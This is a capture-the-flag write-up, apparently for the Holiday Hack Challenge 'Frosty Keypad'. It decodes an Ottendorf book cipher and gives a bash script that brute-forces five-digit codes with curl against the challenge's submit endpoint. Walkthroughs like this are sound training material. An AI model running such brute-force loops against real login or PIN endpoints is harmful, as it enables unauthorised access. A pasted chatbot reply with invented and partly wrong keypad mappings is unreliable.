Who Are You Calling a Dorf? Hints: Hmmmm. I know I have seen Santa and the other elves use this keypad. I wonder what it contains. I bet whatever is in there is a National Treasure!
Shine Some Light on It Hints: Well this is puzzling. I wonder if Santa has a seperate code. Bet that would cast some light on the problem. I know this is a stretch...but...what if you had one of those fancy UV lights to look at the fingerprints on the keypad? That might at least limit the possible digits being used...
Just Some Light Reading Hints: See if you can find a copy of that book everyone seems to be reading these days. I thought I saw somebody drop one close by...

After a little searching, we find a copy of the book in the yard. A search for National Treasure Code from the clues provided in the Ottendorf Cipher. The Ottendorf cipher is a code that uses a book or document as a key, with numbers indicating specific lines, words, and letters to encode or decode messages.The clue sheet then provides us with the page, the word and the letter we are looking for. This is how we get to:

Finally, we use the UV lamp, which we also find in the yard, to display the numbers on the keypad that were used and are therefore possible:

can you match the numbers 2 6 7 8 somehow to the characters S A N T A? Yes, we can map the numbers 2, 6, 7, and 8 to characters in "SANTA" by using some associations based on letter shapes or typical phone keypad mappings. Here are some ideas: Using letter shapes and appearances: 2 could map to S (since both have a similar curving shape in certain fonts). 6 could map to A (both can look similar in digital or stylized fonts). 7 could map to N (as the 7 resembles the slanted part of an N). 8 could map to T (as both are composed of straight lines and somewhat symmetrical). The remaining A could map to itself or be represented by 2 again (for symmetry). Using phone keypad associations: On a traditional phone keypad: 2 corresponds to A. 7 corresponds to S. 8 corresponds to T. 6 doesn't correspond to any letter in "SANTA" but could be paired with N creatively. Would one of these approaches work for your needs?

But wait—there’s still one more code tucked away! This one might need a bit more elbow grease… you may need to try a few combinations to crack it!

Without any additional information about the second code, the only option left is brute force. If we view the first successful and one incorrect code in the Developer Console, we can transfer this to the command line as follows:

https://hhc24-frostykeypad.holidayhackchallenge.com/ curl -H "content-type:application/json" -d "{\"answer\":\"36999\"}" "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null" {"error":"The data you've provided seems to have gone on a whimsical adventure, losing all sense of order and coherence!"} curl -H "content-type:application/json" -d "{\"answer\":\"72682\"}" "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null" {"output":"success"}

Let's build a small shell script that iterates through all the possibilities. With about 1000 possibilities and a delay of 1 second, it shouldn't take longer than 20 minutes:

#!/bin/bash

# Define the digits
digits=(2 6 7 8)

# Iterate through all combinations
for d1 in "${digits[@]}"; do
    for d2 in "${digits[@]}"; do
        for d3 in "${digits[@]}"; do
            for d4 in "${digits[@]}"; do
                for d5 in "${digits[@]}"; do
                    echo "$d1$d2$d3$d4$d5"
                    curl -H "content-type:application/json" -d "{\"answer\":\"$d1$d2$d3$d4$d5\"}" "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null"
                    sleep 1
                done
            done
        done
    done
done

./break.sh 1>break.log 2>/dev/null grep -B 2 success break.log {"error":"The data you've provided seems to have gone on a whimsical adventure, losing all sense of order and coherence!"} 22786 {"output":"success"} -- {"error":"The data you've provided seems to have gone on a whimsical adventure, losing all sense of order and coherence!"} 72682 {"output":"success"}

I'm absolutely blown away by your skills - not only did you bypass the rate limiter like a legend, but you've also pieced together the code using an Ottendorf cipher (just like during the Frosty Archives crisis... or was it the Jack Frost incident?). You've retrieved all the shreds we needed, and with Santa still missing, you should definitely share this amazing progress with Jewel Loggins - Wombley and Alabaster will want to hear about this!
